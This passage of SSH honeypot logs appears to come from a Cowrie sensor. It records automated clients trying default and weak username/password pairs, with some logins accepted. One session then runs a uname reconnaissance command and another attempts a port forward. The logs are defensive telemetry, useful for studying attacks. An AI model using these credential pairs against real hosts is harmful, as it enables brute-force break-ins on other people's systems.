nssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:51.819401Z","src_ip":"45.156.87.147","session":"a4c3079159e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1234","message":"login attempt [rocky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:52.234197Z","src_ip":"45.156.87.147","session":"a4c3079159e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:53.321531Z","src_ip":"45.156.87.147","session":"a4c3079159e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":49088,"dst_ip":"159.203.135.109","dst_port":22,"session":"673d4ab9fb21","protocol":"ssh","message":"New connection: 193.37.70.224:49088 (159.203.135.109:22) [session: 673d4ab9fb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:53.409372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:53.413490Z","src_ip":"193.37.70.224","session":"673d4ab9fb21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:53.497073Z","src_ip":"193.37.70.224","session":"673d4ab9fb21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:53.750857Z","src_ip":"193.37.70.224","session":"673d4ab9fb21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:54.837320Z","src_ip":"193.37.70.224","session":"673d4ab9fb21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:55.364529Z","src_ip":"8.219.200.1","session":"3aa8e59e9e8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49276,"dst_ip":"10.17.0.5","dst_port":22,"session":"217a5d26d7d9","protocol":"ssh","message":"New connection: 87.251.64.176:49276 (10.17.0.5:22) [session: 217a5d26d7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:56.146403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:56.152954Z","src_ip":"87.251.64.176","session":"217a5d26d7d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:56.249771Z","src_ip":"87.251.64.176","session":"217a5d26d7d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:56.611082Z","src_ip":"8.219.200.1","session":"3aa8e59e9e8c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:56.624386Z","src_ip":"87.251.64.176","session":"217a5d26d7d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:56.721502Z","session":"217a5d26d7d9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:56.819346Z","src_ip":"87.251.64.176","session":"217a5d26d7d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:56.916289Z","src_ip":"87.251.64.176","session":"217a5d26d7d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":43278,"dst_ip":"10.17.0.5","dst_port":22,"session":"36e3618e4705","protocol":"ssh","message":"New connection: 45.156.87.147:43278 (10.17.0.5:22) [session: 36e3618e4705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:58.076134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:58.081099Z","src_ip":"45.156.87.147","session":"36e3618e4705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:58.163805Z","src_ip":"45.156.87.147","session":"36e3618e4705","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Aa123456","message":"login attempt [oracle/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:58.413324Z","src_ip":"45.156.87.147","session":"36e3618e4705","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:58.620597Z","src_ip":"45.156.87.147","session":"36e3618e4705","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:58.623478Z","src_ip":"45.156.87.147","session":"36e3618e4705","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:58.710604Z","src_ip":"45.156.87.147","session":"36e3618e4705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:58.715002Z","src_ip":"45.156.87.147","session":"36e3618e4705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49558,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1615b4907b6","protocol":"ssh","message":"New connection: 45.156.87.147:49558 (10.17.0.5:22) [session: b1615b4907b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:04.245145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:04.249981Z","src_ip":"45.156.87.147","session":"b1615b4907b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:04.345657Z","src_ip":"45.156.87.147","session":"b1615b4907b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:04.664819Z","src_ip":"45.156.87.147","session":"b1615b4907b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:05.752637Z","src_ip":"45.156.87.147","session":"b1615b4907b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56470,"dst_ip":"10.17.0.5","dst_port":22,"session":"478476eac8a6","protocol":"ssh","message":"New connection: 45.156.87.147:56470 (10.17.0.5:22) [session: 478476eac8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:10.440740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:10.453977Z","src_ip":"45.156.87.147","session":"478476eac8a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:10.537849Z","src_ip":"45.156.87.147","session":"478476eac8a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:10.792310Z","src_ip":"45.156.87.147","session":"478476eac8a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:11.899052Z","src_ip":"45.156.87.147","session":"478476eac8a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56476,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4e43a59233b","protocol":"ssh","message":"New connection: 45.156.87.147:56476 (10.17.0.5:22) [session: a4e43a59233b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:16.673148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:16.677638Z","src_ip":"45.156.87.147","session":"a4e43a59233b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:16.763454Z","src_ip":"45.156.87.147","session":"a4e43a59233b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:17.021526Z","src_ip":"45.156.87.147","session":"a4e43a59233b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:18.111335Z","src_ip":"45.156.87.147","session":"a4e43a59233b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52966,"dst_ip":"10.17.0.5","dst_port":22,"session":"38031151f812","protocol":"ssh","message":"New connection: 45.156.87.147:52966 (10.17.0.5:22) [session: 38031151f812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:22.919029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:22.923409Z","src_ip":"45.156.87.147","session":"38031151f812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:23.015912Z","src_ip":"45.156.87.147","session":"38031151f812","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"test","message":"login attempt [data/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:23.272361Z","src_ip":"45.156.87.147","session":"38031151f812","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:24.362893Z","src_ip":"45.156.87.147","session":"38031151f812","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52984,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb805d18c11","protocol":"ssh","message":"New connection: 45.156.87.147:52984 (10.17.0.5:22) [session: 9eb805d18c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:29.015867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:29.020116Z","src_ip":"45.156.87.147","session":"9eb805d18c11","protocol":"ssh"}
